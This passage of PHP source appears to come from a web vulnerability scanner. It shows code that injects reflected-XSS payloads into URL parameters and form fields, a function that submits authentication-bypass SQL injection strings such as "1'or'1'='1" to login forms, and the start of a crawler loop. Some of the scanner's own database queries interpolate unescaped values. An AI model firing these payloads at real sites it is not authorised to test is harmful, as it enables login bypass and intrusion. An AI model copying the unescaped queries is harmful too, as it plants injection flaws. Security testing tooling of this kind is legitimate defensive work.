parameters"); if ($parsedUrl) { if (isset($parsedUrl['query'])) { $log->lwrite("{$urlToCheck} does contain parameters"); $scheme = $parsedUrl['scheme']; $host = $parsedUrl['host']; $path = $parsedUrl['path']; $query = $parsedUrl['query']; parse_str($query, $parameters); $originalQuery = $query; $payloadIndex = 0; foreach ($payloads as $currentPayload) { $http = new http_class(); $http->timeout = 0; $http->data_timeout = 0; //$http->debug=1; $http->user_agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"; $http->follow_redirect = 1; $http->redirection_limit = 5; $http->setTestId($testId); foreach ($parameters as $para) { $query = $originalQuery; $newQuery = str_replace($para, $currentPayload, $query); $query = $newQuery; $testUrl = $scheme . '://' . $host . $path . '?' . $query; $log->lwrite("URL to be requested is: {$testUrl}"); $error = $http->GetRequestArguments($testUrl, $arguments); $error = $http->Open($arguments); echo "<br>Sending HTTP request to " . htmlspecialchars($testUrl) . "<br>"; if ($error == "") { $log->lwrite("Sending HTTP request to {$testUrl}"); $error = $http->SendRequest($arguments); if ($error == "") { $headers = array(); $error = $http->ReadReplyHeaders($headers); if ($error == "") { $error = $http->ReadWholeReplyBody($body); if (strlen($error) == 0) { $indicatorStr = $harmfulResponses[$payloadIndex]; if (stripos($body, $indicatorStr)) { echo '<br>Reflected XSS Present!<br>Query: ' . HtmlSpecialChars($urlToCheck) . '<br>'; echo 'Method: GET <br>'; echo 'Url: ' . HtmlSpecialChars($testUrl) . '<br>'; echo 'Error: ' . htmlspecialchars($indicatorStr) . '<br>'; $tableName = 'test' . $testId; //Check if this vulnerability has already been found and added to DB. If it hasn't, add it to DB. $sql = "SELECT * FROM test_results WHERE test_id = {$testId} AND type = 'rxss' AND method = 'get' AND url = '{$testUrl}' AND attack_str = '" . addslashes($query) . "'"; $result = $db->query($sql); if (!$result) { $log->lwrite("Could not execute query {$sql}"); } else { $log->lwrite("Successfully executed query {$sql}"); $numRows = $result->num_rows; if ($numRows == 0) { $log->lwrite("Number of rows is {$numRows} for query: {$sql}"); insertTestResult($db, $testId, 'rxss', 'get', $testUrl, addslashes($query)); } } $http->Close(); break 2; } } } } $http->Close(); } if (strlen($error)) { echo "<H2 align=\"center\">Error: ", $error, "</H2>\n"; } } $payloadIndex++; } } } else { $log->lwrite("Could not parse malformed URL: {$urlToCheck}"); } //Array containing all form objects found $arrayOfForms = array(); //Array containing all input fields $arrayOfInputFields = array(); $log->lwrite("Searching {$postUrl} for forms"); $formNum = 1; //Must use an integer to identify form as forms could have same names and ids foreach ($html->find('form') as $form) { isset($form->attr['id']) ? $formId = htmlspecialchars($form->attr['id']) : ($formId = ''); isset($form->attr['name']) ? $formName = htmlspecialchars($form->attr['name']) : ($formName = ''); isset($form->attr['method']) ? $formMethod = htmlspecialchars($form->attr['method']) : ($formMethod = 'get'); isset($form->attr['action']) ? $formAction = htmlspecialchars($form->attr['action']) : ($formAction = ''); $formMethod = strtolower($formMethod); //If the action of the form is empty, set the action equal to everything //after the URL that the user entered if (empty($formAction)) { $strLengthUrl = strlen($urlToCheck); $strLengthSite = strlen($urlOfSite); $firstIndexOfSlash = strpos($urlToCheck, '/', $strLengthSite - 1); $formAction = substr($urlToCheck, $firstIndexOfSlash + 1, $strLengthUrl); } $log->lwrite("Found form on {$postUrl}: {$formId} {$formName} {$formMethod} {$formAction} {$formNum}"); $newForm = new Form($formId, $formName, $formMethod, $formAction, $formNum); array_push($arrayOfForms, $newForm); foreach ($form->find('input') as $input) { isset($input->attr['id']) ? $inputId = htmlspecialchars($input->attr['id']) : ($inputId = ''); isset($input->attr['name']) ? $inputName = htmlspecialchars($input->attr['name']) : ($inputName = ''); isset($input->attr['value']) ? $inputValue = htmlspecialchars($input->attr['value']) : ($inputValue = ''); isset($input->attr['type']) ? $inputType = htmlspecialchars($input->attr['type']) : ($inputType = ''); $log->lwrite("Found input field on {$postUrl}: {$inputId} {$inputName} {$formId} {$formName} {$inputValue} {$inputType} {$formNum}"); $inputField = new InputField($inputId, $inputName, $formId, $formName, $inputValue, $inputType, $formNum); array_push($arrayOfInputFields, $inputField); } $formNum++; } //At this stage, we should have captured all forms and their inputs into the corresponding arrays $log->lwrite('Beginning testing of forms'); for ($i = 0; $i < sizeof($arrayOfForms); $i++) { $currentForm = $arrayOfForms[$i]; $currentFormId = $currentForm->getId(); $currentFormName = $currentForm->getName(); $currentFormMethod = $currentForm->getMethod(); $currentFormAction = $currentForm->getAction(); $currentFormNum = $currentForm->getFormNum(); $arrayOfCurrentFormsInputs = array(); $log->lwrite("Beginning testing of form on {$postUrl}: {$currentFormId} {$currentFormName} {$currentFormMethod} {$currentFormAction}"); for ($j = 0; $j < sizeof($arrayOfInputFields); $j++) { $currentInput = $arrayOfInputFields[$j]; $currentInputIdOfForm = $currentInput->getIdOfForm(); $currentInputNameOfForm = $currentInput->getNameOfForm(); $currentInputFormNum = $currentInput->getFormNum(); //Check if the current input field belongs to the current form and add to array if it does if ($currentFormNum == $currentInputFormNum) { array_push($arrayOfCurrentFormsInputs, $currentInput); } } $log->lwrite("Beginning testing input fields of form on {$postUrl}: {$currentFormId} {$currentFormName} {$currentFormMethod} {$currentFormAction}"); for ($k = 0; $k < sizeof($arrayOfCurrentFormsInputs); $k++) { for ($plIndex = 0; $plIndex < sizeof($payloads); $plIndex++) { $testStr = $payloads[$plIndex]; $log->lwrite("Submitting payload: {$testStr}"); $defaultStr = 'Abc123'; $indicatorStr = $harmfulResponses[$plIndex]; $currentFormInput = $arrayOfCurrentFormsInputs[$k]; $currentFormInputName = $currentFormInput->getName(); $currentFormInputType = $currentFormInput->getType(); $currentFormInputValue = $currentFormInput->getValue(); if ($currentFormInputType != 'reset') { $http = new http_class(); $http->timeout = 0; $http->data_timeout = 0; //$http->debug=1; $http->user_agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"; $http->follow_redirect = 1; $http->redirection_limit = 5; $http->setTestId($testId); $arrayOfValues = array(); //Array of PostOrGetObject objects //Get the other input values and set them equal to the default string $otherInputs = array(); for ($l = 0; $l < sizeof($arrayOfCurrentFormsInputs); $l++) { if ($currentFormInput->getName() != $arrayOfCurrentFormsInputs[$l]->getName()) { array_push($otherInputs, $arrayOfCurrentFormsInputs[$l]); } } $postObject = new PostOrGetObject($currentFormInputName, $testStr); //Add current input and other to array of post values and set their values array_push($arrayOfValues, $postObject); for ($m = 0; $m < sizeof($otherInputs); $m++) { $currentOther = $otherInputs[$m]; $currentOtherType = $currentOther->getType(); $currentOtherName = $currentOther->getName(); $currentOtherValue = $currentOther->getValue(); if ($currentOtherType == 'text' || $currentOtherType == 'password') { $postObject = new PostOrGetObject($currentOtherName, $defaultStr); array_push($arrayOfValues, $postObject); } else { if ($currentOtherType == 'checkbox' || $currentOtherType == 'submit') { $postObject = new PostOrGetObject($currentOtherName, $currentOtherValue); array_push($arrayOfValues, $postObject); } else { if ($currentOtherType == 'radio') { $postObject = new PostOrGetObject($currentOtherName, $currentOtherValue); //Check if a radio button in the radio group has already been added $found = false; for ($n = 0; $n < sizeof($arrayOfValues); $n++) { if ($arrayOfValues[$n]->getName() == $postObject->getName()) { $found = true; break; } } if (!$found) { array_push($arrayOfValues, $postObject); } } } } } echo '<br><br>'; if ($currentFormMethod == 'get') { //Build query string and submit it at end of URL if ($urlOfSite[strlen($urlOfSite) - 1] == '/') { $actionUrl = $urlOfSite . $currentFormAction; } else { $actionUrl = $urlOfSite . '/' . $currentFormAction; } $totalTestStr = ''; //Compile a test string to show the user how the vulnerability was tested for for ($p = 0; $p < sizeof($arrayOfValues); $p++) { $currentPostValue = $arrayOfValues[$p]; $currentPostValueName = $currentPostValue->getName(); $currentPostValueValue = $currentPostValue->getValue(); $totalTestStr .= $currentPostValueName; $totalTestStr .= '='; $totalTestStr .= $currentPostValueValue; if ($p != sizeof($arrayOfValues) - 1) { $totalTestStr .= '&'; } } if (strpos($actionUrl, '?') !== false) { //url may something like domain.com?id=111 so don't want to add another question mark if it is $actionUrl .= '&'; } else { $actionUrl .= '?'; } $actionUrl .= $totalTestStr; $error = $http->GetRequestArguments($actionUrl, $arguments); $error = $http->Open($arguments); if ($error == "") { $error = $http->SendRequest($arguments); if ($error == "") { $headers = array(); $error = $http->ReadReplyHeaders($headers); if ($error == "") { $error = $http->ReadWholeReplyBody($body); if (strlen($error) == 0) { if (stripos($body, $indicatorStr)) { //If the body that was returned from the request contains the payload, the //Reflected XSS vulnerabiltiy is present $totalTestStr = ''; //Compile a test string to show the user how the vulnerability was tested for for ($p = 0; $p < sizeof($arrayOfValues); $p++) { $currentPostValue = $arrayOfValues[$p]; $currentPostValueName = $currentPostValue->getName(); $currentPostValueValue = $currentPostValue->getValue(); $totalTestStr .= $currentPostValueName; $totalTestStr .= '='; $totalTestStr .= $currentPostValueValue; if ($p != sizeof($arrayOfValues) - 1) { $totalTestStr .= '&'; } } //The echo's are for testing/debugging the function on its own echo 'Reflected XSS Present!<br>Query: ' . HtmlSpecialChars($totalTestStr) . '<br>'; echo 'Method: ' . $currentFormMethod . '<br>'; echo 'Url: ' . HtmlSpecialChars($actionUrl) . ''; $tableName = 'test' . $testId; //Check if this vulnerability has already been found and added to DB. If it hasn't, add it to DB. $query = "SELECT * FROM test_results WHERE test_id = {$testId} AND type = 'rxss' AND method = '{$currentFormMethod}' AND url = '{$actionUrl}' AND attack_str = '{$totalTestStr}'"; $result = $db->query($query); if (!$result) { $log->lwrite("Could not execute query {$query}"); } else { $log->lwrite("Successfully executed query {$query}"); $numRows = $result->num_rows; if ($numRows == 0) { $log->lwrite("Number of rows is {$numRows} for query: {$query}"); insertTestResult($db, $testId, 'rxss', $currentFormMethod, $actionUrl, $totalTestStr); } } $http->Close(); break; } } } } $http->Close(); } if (strlen($error)) { echo "<H2 align=\"center\">Error: ", $error, "</H2>\n"; } } else { if ($currentFormMethod == 'post') { //Start sending requests with the values in the post values array //Build query string and submit it at end of URL if ($urlOfSite[strlen($urlOfSite) - 1] == '/') { $actionUrl = $urlOfSite . $currentFormAction; } else { $actionUrl = $urlOfSite . '/' . $currentFormAction; } $error = $http->GetRequestArguments($actionUrl, $arguments); $arguments["RequestMethod"] = "POST"; $arguments["PostValues"] = array(); for ($p = 0; $p < sizeof($arrayOfValues); $p++) { $currentPostValue = $arrayOfValues[$p]; $currentPostValueName = $currentPostValue->getName(); $currentPostValueValue = $currentPostValue->getValue(); $tempArray = array($currentPostValueName => $currentPostValueValue); $arguments["PostValues"] = array_merge($arguments["PostValues"], $tempArray); } $error = $http->Open($arguments); if ($error == "") { $error = $http->SendRequest($arguments); if ($error == "") { $headers = array(); $error = $http->ReadReplyHeaders($headers); if ($error == "") { $error = $http->ReadWholeReplyBody($body); if (strlen($error) == 0) { //echo $body; if (stripos($body, $indicatorStr)) { //If the body that was returned from the request contains the test string, the //Reflected XSS vulnerabiltiy is present $totalTestStr = ''; //Compile a test string to show the user how the vulnerability was tested for for ($p = 0; $p < sizeof($arrayOfValues); $p++) { $currentPostValue = $arrayOfValues[$p]; $currentPostValueName = $currentPostValue->getName(); $currentPostValueValue = $currentPostValue->getValue(); $totalTestStr .= $currentPostValueName; $totalTestStr .= '='; $totalTestStr .= $currentPostValueValue; if ($p != sizeof($arrayOfValues) - 1) { $totalTestStr .= '&'; } } //The echo's are for testing/debugging the function on its own echo 'Reflected XSS Present!<br>Query: ' . HtmlSpecialChars($totalTestStr) . '<br>'; echo 'Method: ' . $currentFormMethod . '<br>'; echo 'Url: ' . HtmlSpecialChars($actionUrl) . ''; $tableName = 'test' . $testId; //Check if this vulnerability has already been found and added to DB. If it hasn't, add it to DB. $query = "SELECT * FROM test_results WHERE test_id = {$testId} AND type = 'rxss' AND method = '{$currentFormMethod}' AND url = '{$actionUrl}' AND attack_str = '{$totalTestStr}'"; $result = $db->query($query); if (!$result) { $log->lwrite("Could not execute query {$query}"); } else { $log->lwrite("Successfully executed query {$query}"); $numRows = $result->num_rows; if ($numRows == 0) { $log->lwrite("Number of rows is {$numRows} for query: {$query}"); insertTestResult($db, $testId, 'rxss', $currentFormMethod, $actionUrl, $totalTestStr); } } $http->Close(); break; } } } } $http->Close(); } if (strlen($error)) { echo "<H2 align=\"center\">Error: ", $error, "</H2>\n"; } } } } } } } }
function testAuthenticationSQLi($urlToCheck, $urlOfSite, $testId) { connectToDb($db); updateStatus($db, "Testing {$urlToCheck} for Broken Authentication using SQL Injection...", $testId); $log = new Logger(); $log->lfile('logs/eventlogs'); $log->lwrite("Starting Broken Authentication SQLi test function on {$urlToCheck}"); $postUrl = $urlToCheck; $postUrlPath = parse_url($postUrl, PHP_URL_PATH); //Check URL is not responding with 5xx codes $log->lwrite("Checking what response code is received from {$urlToCheck}"); $http = new http_class(); $http->timeout = 0; $http->data_timeout = 0; //$http->debug=1; $http->user_agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"; $http->follow_redirect = 1; $http->redirection_limit = 5; $http->setTestId($testId); $error = $http->GetRequestArguments($urlToCheck, $arguments); $error = $http->Open($arguments); $log->lwrite("URL to be requested is: {$urlToCheck}"); if ($error == "") { $log->lwrite("Sending HTTP request to {$urlToCheck}"); $error = $http->SendRequest($arguments); if ($error == "") { $headers = array(); $error = $http->ReadReplyHeaders($headers); if ($error == "") { $responseCode = $http->response_status; //This is a string $log->lwrite("Received response code: {$responseCode}"); if (intval($responseCode) >= 500 && intval($responseCode) < 600) { $log->lwrite("Response code: {$responseCode} received from: {$urlToCheck}"); return; } } } $http->Close(); } if (strlen($error)) { echo "<H2 align=\"center\">Error: ", $error, "</H2>\n"; $log->lwrite("Error: {$error}"); } $html = file_get_html($postUrl, $testId); if (empty($html)) { //This can happen due to file_get_contents returning a 500 code. Then the parser won't parse it updateStatus($db, "Problem getting contents from {$urlToCheck}...", $testId); $log->lwrite("Problem getting contents from {$urlToCheck}"); return; } //Array containing all form objects found $arrayOfForms = array(); //Array containing all input fields $arrayOfInputFields = array(); $log->lwrite("Searching {$postUrl} for forms"); $formNum = 1; //Must use an integer to identify form as forms could have same names and ids foreach ($html->find('form') as $form) { isset($form->attr['id']) ? $formId = htmlspecialchars($form->attr['id']) : ($formId = ''); isset($form->attr['name']) ? $formName = htmlspecialchars($form->attr['name']) : ($formName = ''); isset($form->attr['method']) ? $formMethod = htmlspecialchars($form->attr['method']) : ($formMethod = 'get'); isset($form->attr['action']) ? $formAction = htmlspecialchars($form->attr['action']) : ($formAction = ''); $formMethod = strtolower($formMethod); //If the action of the form is empty, set the action equal to everything //after the URL that the user entered if (empty($formAction)) { $strLengthUrl = strlen($urlToCheck); $strLengthSite = strlen($urlOfSite); $firstIndexOfSlash = strpos($urlToCheck, '/', $strLengthSite - 1); $formAction = substr($urlToCheck, $firstIndexOfSlash + 1, $strLengthUrl); } $log->lwrite("Found form on {$postUrl}: {$formId} {$formName} {$formMethod} {$formAction} {$formNum}"); $newForm = new Form($formId, $formName, $formMethod, $formAction, $formNum); array_push($arrayOfForms, $newForm); foreach ($form->find('input') as $input) { isset($input->attr['id']) ? $inputId = htmlspecialchars($input->attr['id']) : ($inputId = ''); isset($input->attr['name']) ? $inputName = htmlspecialchars($input->attr['name']) : ($inputName = ''); isset($input->attr['value']) ? $inputValue = htmlspecialchars($input->attr['value']) : ($inputValue = ''); isset($input->attr['type']) ? $inputType = htmlspecialchars($input->attr['type']) : ($inputType = ''); $log->lwrite("Found input field on {$postUrl}: {$inputId} {$inputName} {$formId} {$formName} {$inputValue} {$inputType} {$formNum}"); $inputField = new InputField($inputId, $inputName, $formId, $formName, $inputValue, $inputType, $formNum); array_push($arrayOfInputFields, $inputField); } $formNum++; } //At this stage, we should have captured all forms and their input fields into the appropriate arrays //Begin testing each of the forms //Defintion of all payloads used and warnings to examine for //Payloads can be added to this $arrayOfPayloads = array("1'or'1'='1", "1'or'1'='1';#"); //Check if the URL passed into this function displays the same webpage at different intervals //If it does then attempt to login and if this URL displays a different page, the vulnerability is present //e.g. a login page would always look different when you are and are not logged in $log->lwrite("Checking if {$urlToCheck} displays the same page at different intervals"); $responseBodies = array(); $http = new http_class(); $http->timeout = 0; $http->data_timeout = 0; //$http->debug=1; $http->user_agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"; $http->follow_redirect = 1; $http->redirection_limit = 5; $http->setTestId($testId); for ($a = 0; $a < 3; $a++) { $error = $http->GetRequestArguments($urlToCheck, $arguments); $error = $http->Open($arguments); if ($error == "") { $number = $a + 1; $log->lwrite("Sending HTTP request number {$number} to {$urlToCheck}"); $error = $http->SendRequest($arguments); if ($error == "") { $headers = array(); $error = $http->ReadReplyHeaders($headers); if ($error == "") { $error = $http->ReadWholeReplyBody($body); if (strlen($error) == 0) { array_push($responseBodies, $body); } } } $http->Close(); } if (strlen($error)) { echo "<H2 align=\"center\">Error: a= {$a} ", $error, "</H2>\n"; } } $pageChanges = true; $bodyOfUrl = ""; if ($responseBodies[0] == $responseBodies[1] && $responseBodies[1] == $responseBodies[2]) { $bodyOfUrl = $responseBodies[0]; $pageChanges = false; } $log->lwrite('Beginning testing of forms'); for ($i = 0; $i < sizeof($arrayOfForms); $i++) { $currentForm = $arrayOfForms[$i]; $currentFormId = $currentForm->getId(); $currentFormName = $currentForm->getName(); $currentFormMethod = $currentForm->getMethod(); $currentFormAction = $currentForm->getAction(); $currentFormNum = $currentForm->getFormNum(); $arrayOfCurrentFormsInputs = array(); $log->lwrite("Beginning testing of form on {$postUrl}: {$currentFormId} {$currentFormName} {$currentFormMethod} {$currentFormAction}"); for ($j = 0; $j < sizeof($arrayOfInputFields); $j++) { $currentInput = $arrayOfInputFields[$j]; $currentInputIdOfForm = $currentInput->getIdOfForm(); $currentInputNameOfForm = $currentInput->getNameOfForm(); $currentInputFormNum = $currentInput->getFormNum(); if ($currentFormNum == $currentInputFormNum) { array_push($arrayOfCurrentFormsInputs, $currentInput); } } $log->lwrite("Beginning testing input fields of form on {$postUrl}: {$currentFormId} {$currentFormName} {$currentFormMethod} {$currentFormAction}"); foreach ($arrayOfPayloads as $currentPayload) { echo '<br>Size of current form inputs = ' . sizeof($arrayOfCurrentFormsInputs) . '<br>'; $arrayOfValues = array(); //Array of PostOrGetObject objects for ($k = 0; $k < sizeof($arrayOfCurrentFormsInputs); $k++) { $currentFormInput = $arrayOfCurrentFormsInputs[$k]; $currentFormInputName = $currentFormInput->getName(); $currentFormInputType = $currentFormInput->getType(); $currentFormInputValue = $currentFormInput->getValue(); if ($currentFormInputType != 'reset') { $log->lwrite("Using payload: {$currentPayload}, to all input fields of form w/ action: {$currentFormAction}"); //Add current input and other inputs to array of post values and set their values if ($currentFormInputType == 'text' || $currentFormInputType == 'password') { $postObject = new PostOrGetObject($currentFormInputName, $currentPayload); array_push($arrayOfValues, $postObject); } else { if ($currentFormInputType == 'checkbox' || $currentFormInputType == 'submit') { $postObject = new PostOrGetObject($currentFormInputName, $currentFormInputValue); array_push($arrayOfValues, $postObject); } else { if ($currentFormInputType == 'radio') { $postObject = new PostOrGetObject($currentFormInputName, $currentFormInputValue); //Check if a radio button in the radio group has already been added $found = false; for ($n = 0; $n < sizeof($arrayOfValues); $n++) { if ($arrayOfValues[$n]->getName() == $postObject->getName()) { $found = true; break; } } if (!$found) { array_push($arrayOfValues, $postObject); } } } } } } if ($currentFormMethod == 'get') { //Build query string and submit it at end of URL if ($urlOfSite[strlen($urlOfSite) - 1] == '/') { $actionUrl = $urlOfSite . $currentFormAction; } else { $actionUrl = $urlOfSite . '/' . $currentFormAction; } $totalTestStr = ''; //Make a string to show the user how the vulnerability was tested for i.e. the data submitted to exploit the vulnerability for ($p = 0; $p < sizeof($arrayOfValues); $p++) { $currentPostValue = $arrayOfValues[$p]; $currentPostValueName = $currentPostValue->getName(); $currentPostValueValue = $currentPostValue->getValue(); $totalTestStr .= $currentPostValueName; $totalTestStr .= '='; $totalTestStr .= $currentPostValueValue; if ($p != sizeof($arrayOfValues) - 1) { $totalTestStr .= '&'; } } $actionUrl .= '?'; $actionUrl .= $totalTestStr; $error = $http->GetRequestArguments($actionUrl, $arguments); $error = $http->Open($arguments); $log->lwrite("URL to be requested is: {$actionUrl}"); if ($error == "") { $log->lwrite("Sending HTTP request to {$actionUrl}"); $error = $http->SendRequest($arguments); if ($error == "") { $headers = array(); $error = $http->ReadReplyHeaders($headers); if ($error == "") { $error = $http->ReadWholeReplyBody($body); if (strlen($error) == 0) { $http->Close(); $vulnerabilityFound = checkIfVulnerabilityFound($urlToCheck, $pageChanges, $bodyOfUrl, $log, $currentPayload, $http); if ($vulnerabilityFound) { $totalTestStr = ''; //Make a test string to show the user how the vulnerability was tested for for ($p = 0; $p < sizeof($arrayOfValues); $p++) { $currentPostValue = $arrayOfValues[$p]; $currentPostValueName = $currentPostValue->getName(); $currentPostValueValue = $currentPostValue->getValue(); $totalTestStr .= $currentPostValueName; $totalTestStr .= '='; $totalTestStr .= $currentPostValueValue; if ($p != sizeof($arrayOfValues) - 1) { $totalTestStr .= '&'; } } //The echo's below are for testing the function on its own i.e. requesting this script with your browser echo 'Broken Authentication Present!<br>Query: ' . HtmlSpecialChars($totalTestStr) . '<br>'; echo 'Method: ' . $currentFormMethod . '<br>'; echo 'Url: ' . HtmlSpecialChars($actionUrl) . '<br>'; echo 'Error: Successfully Logged In with SQL injection'; $tableName = 'test' . $testId; //Check if this vulnerability has already been found and added to DB. If it hasn't, add it to DB. $query = "SELECT * FROM test_results WHERE test_id = {$testId} AND type = 'basqli' AND method = '{$currentFormMethod}' AND url = '" . addslashes($actionUrl) . "' AND attack_str = '" . addslashes($totalTestStr) . "'"; $result = $db->query($query); if (!$result) { $log->lwrite("Could not execute query {$query}"); } else { $log->lwrite("Successfully executed query {$query}"); $numRows = $result->num_rows; if ($numRows == 0) { $log->lwrite("Number of rows is {$numRows} for query: {$query}"); insertTestResult($db, $testId, 'basqli', $currentFormMethod, addslashes($actionUrl), addslashes($totalTestStr)); } } break; } } } } } if (strlen($error)) { echo "<H2 align=\"center\">Error: ", $error, "</H2>\n"; echo 'Method: ' . $currentFormMethod . '<br>'; echo 'Url: ' . HtmlSpecialChars($actionUrl) . '<br>'; } } else { if ($currentFormMethod == 'post') { //Build query string and submit it at end of URL if ($urlOfSite[strlen($urlOfSite) - 1] == '/') { $actionUrl = $urlOfSite . $currentFormAction; } else { $actionUrl = $urlOfSite . '/' . $currentFormAction; } $error = $http->GetRequestArguments($actionUrl, $arguments); $arguments["RequestMethod"] = "POST"; $arguments["PostValues"] = array(); for ($p = 0; $p < sizeof($arrayOfValues); $p++) { $currentPostValue = $arrayOfValues[$p]; $currentPostValueName = $currentPostValue->getName(); $currentPostValueValue = $currentPostValue->getValue(); $tempArray = array($currentPostValueName => $currentPostValueValue); $arguments["PostValues"] = array_merge($arguments["PostValues"], $tempArray); } $error = $http->Open($arguments); $log->lwrite("URL to be requested is: {$actionUrl}"); if ($error == "") { $log->lwrite("Sending HTTP request to {$actionUrl}"); $error = $http->SendRequest($arguments); if ($error == "") { $headers = array(); $error = $http->ReadReplyHeaders($headers); if ($error == "") { $error = $http->ReadWholeReplyBody($body); if (strlen($error) == 0) { $http->Close(); $vulnerabilityFound = checkIfVulnerabilityFound($urlToCheck, $pageChanges, $bodyOfUrl, $log, $currentPayload, $http); if ($vulnerabilityFound) { $totalTestStr = ''; //Compile a test string to show the user how the vulnerability was tested for for ($p = 0; $p < sizeof($arrayOfValues); $p++) { $currentPostValue = $arrayOfValues[$p]; $currentPostValueName = $currentPostValue->getName(); $currentPostValueValue = $currentPostValue->getValue(); $totalTestStr .= $currentPostValueName; $totalTestStr .= '='; $totalTestStr .= $currentPostValueValue; if ($p != sizeof($arrayOfValues) - 1) { $totalTestStr .= '&'; } } //The echo's below are for testing the function on its own i.e. requesting this script with your browser echo 'Broken Authentication Present!<br>Query: ' . HtmlSpecialChars($totalTestStr) . '<br>'; echo 'Method: ' . $currentFormMethod . '<br>'; echo 'Url: ' . HtmlSpecialChars($actionUrl) . '<br>'; echo 'Error: Successfully Logged In with SQL injection'; $tableName = 'test' . $testId; //Check if this vulnerability has already been found and added to DB. If it hasn't, add it to DB. $query = "SELECT * FROM test_results WHERE test_id = {$testId} AND type = 'basqli' AND method = '{$currentFormMethod}' AND url = '" . addslashes($actionUrl) . "' AND attack_str = '" . addslashes($totalTestStr) . "'"; $result = $db->query($query); if (!$result) { $log->lwrite("Could not execute query {$query}"); } else { $log->lwrite("Successfully executed query {$query}"); $numRows = $result->num_rows; if ($numRows == 0) { $log->lwrite("Number of rows is {$numRows} for query: {$query}"); insertTestResult($db, $testId, 'basqli', $currentFormMethod, addslashes($actionUrl), addslashes($totalTestStr)); } } break; } } } } } if (strlen($error)) { echo "<H2 align=\"center\">Error: ", $error, "</H2>\n"; echo 'Method: ' . $currentFormMethod . '<br>'; echo 'Url: ' . HtmlSpecialChars($actionUrl) . '<br>'; } } } } } }
function go() { connectToDb($db); $starting_time = $this->getmicrotime(); // Init, split given URL into host, port, path and file a.s.o. $url_parts = PHPCrawlerUtils::splitURL($this->url_to_crawl); // Set base-host and base-path "global" for this class, // we need it very often (i guess at this point...) $this->base_path = $url_parts["path"]; $this->base_host = $url_parts["host"]; $this->base_domain = $url_parts["domain"]; // If the base port wasnt set by the user -> // take the one from the given start-URL. if ($this->base_port == "") { $this->base_port = $url_parts["port"]; } // if the base-port WAS set by the user $url_parts["port"] = $this->base_port; // Reset the base_url $this->url_to_crawl = PHPCrawlerUtils::rebuildURL($url_parts); $this->url_to_crawl = PHPCrawlerUtils::normalizeURL($this->url_to_crawl); // Init counters $links_followed = 0; $files_received = 0; // Put the first url into our main-array $tmp[0]["url_rebuild"] = $this->url_to_crawl; PHPCrawlerUtils::removeMatchingLinks($tmp, $this->not_follow_matches); if (isset($tmp[0]["url_rebuild"]) && $tmp[0]["url_rebuild"] != "") { PHPCrawlerUtils::addToArray($tmp, $this->urls_to_crawl, $this->url_map, $this->store_extended_linkinfo); } // MAIN-LOOP ------------------------------------------------------------------- // It works like this: // The first loop looks through all the "Priority"-arrays and checks if any // of these arrays is filled with URLS. for ($pri_level = $this->max_priority_level + 1; $pri_level > -1; $pri_level--) { // Yep. Found a priority-array with at least one URL if (isset($this->urls_to_crawl[$pri_level]) && !isset($stop_crawling)) { // Now "process" all URLS in this priroity-array @reset($this->urls_to_crawl[$pri_level]); while (list($key) = @each($this->urls_to_crawl[$pri_level])) { $all_start = $this->getmicrotime(); $stop_crawling_this_level = false; // init // Request URL (crawl()) unset($page_data); if (!isset($this->urls_to_crawl[$pri_level][$key]["referer_url"])) { $this->urls_to_crawl[$pri_level][$key]["referer_url"] = ""; } if ($db) { incrementHttpRequests($db, $this->testId); } //Increment number of HTTP requests sent as fsockopen is called next $page_data = $this->pageRequest->receivePage($this->urls_to_crawl[$pri_level][$key]["url_rebuild"], $this->urls_to_crawl[$pri_level][$key]["referer_url"]); // If the request-object just irnored the URL -> // -> Stop and remove URL from Array if ($page_data == false) { unset($this->urls_to_crawl[$pri_level][$key]); continue; } $links_followed++; // Now $page_data["links_found"] contains all found links at this point // Check if a "<base href.."-tag is given in the source and xtract // the base URL // !! Doesnt have to be rebuild cause it only can be a full // qualified URL !! $base_url = PHPCrawlerUtils::getBasePathFromTag($page_data["source"]); if ($base_url == "") { $actual_url =& $this->urls_to_crawl[$pri_level][$key]["url_rebuild"]; } else { $actual_url = $base_url; } // Set flag "content_found" if..content was found if (isset($page_data["http_status_code"]) && $page_data["http_status_code"] == 200) { $content_found = true; } // Check for a REDIRECT-header and if wanted, put it into the array of found links $redirect = PHPCrawlerUtils::getRedirectLocation($page_data["header"]); if ($redirect && $this->follow_redirects == true) { $tmp_array["link_raw"] = $redirect; $tmp_array["referer_url"] = $this->urls_to_crawl[$pri_level][$key]["url_rebuild"]; $page_data["links_found"][] = $tmp_array; } // Count files that have been received completly if ($page_data["received"] == true) { $files_received++; } // If traffic-limit is reached -> stop crawling if ($page_data["traffic_limit_reached"] == true) { $stop_crawling = true; } // Check if pagelimit is reached if set // (and check WHICH page-limit was set) if ($this->page_limit_all > 0) { if ($this->page_limit_count_ct_only == true && $files_received >= $this->page_limit_all) { $stop_crawling = true; } elseif ($this->page_limit_count_ct_only == false && $links_followed >= $this->page_limit_all) { $stop_crawling = true; } } // Add the actual referer to the page_data array for the handlePageData-method $page_data["refering_linktext"] =& $this->urls_to_crawl[$pri_level][$key]["linktext"]; $page_data["refering_link_raw"] =& $this->urls_to_crawl[$pri_level][$key]["link_raw"]; $page_data["refering_linkcode"] =& $this->urls_to_crawl[$pri_level][$key]["linkcode"]; // build new absolute URLs from found links $page_data["links_found"] = PHPCrawlerUtils::buildURLs($page_data["links_found"], $actual_url); // Call the overridable user-function here, but first // "save" the found links from user-manipulation $links_found = $page_data["links_found"]; $user_return = $this->handlePageData($page_data); // Stop crawling if user returned a negative value if ($user_return < 0) { $stop_crawling = true; $page_data["user_abort"] = true; } // Compare the found links with link-priorities set by the user // and add the priority-level to our array $links_found if ($this->benchmark == true) { $bm_start = $this->getmicrotime(); } PHPCrawlerUtils::addURLPriorities($links_found, $this->link_priorities); if ($this->benchmark == true) { echo "addUrlPriorities(): " . ($this->getmicrotime() - $bm_start) . "<br>"; } // Here we can delete the tmp-file maybe created by the pageRequest-object if (file_exists($this->pageRequest->tmp_file)) { @unlink($this->pageRequest->tmp_file); } // Stop everything if a limit was reached if (isset($stop_crawling)) { break; $pri_level = 1000; } // Remove links to other hosts if follow_mode is 2 or 3 if ($this->general_follow_mode == 2 || $this->general_follow_mode == 3) { PHPCrawlerUtils::removeURLsToOtherHosts($links_found, $this->urls_to_crawl[$pri_level][$key]["url_rebuild"]); } // Remove links to other domains if follow_mode=1 if ($this->general_follow_mode == 1) { 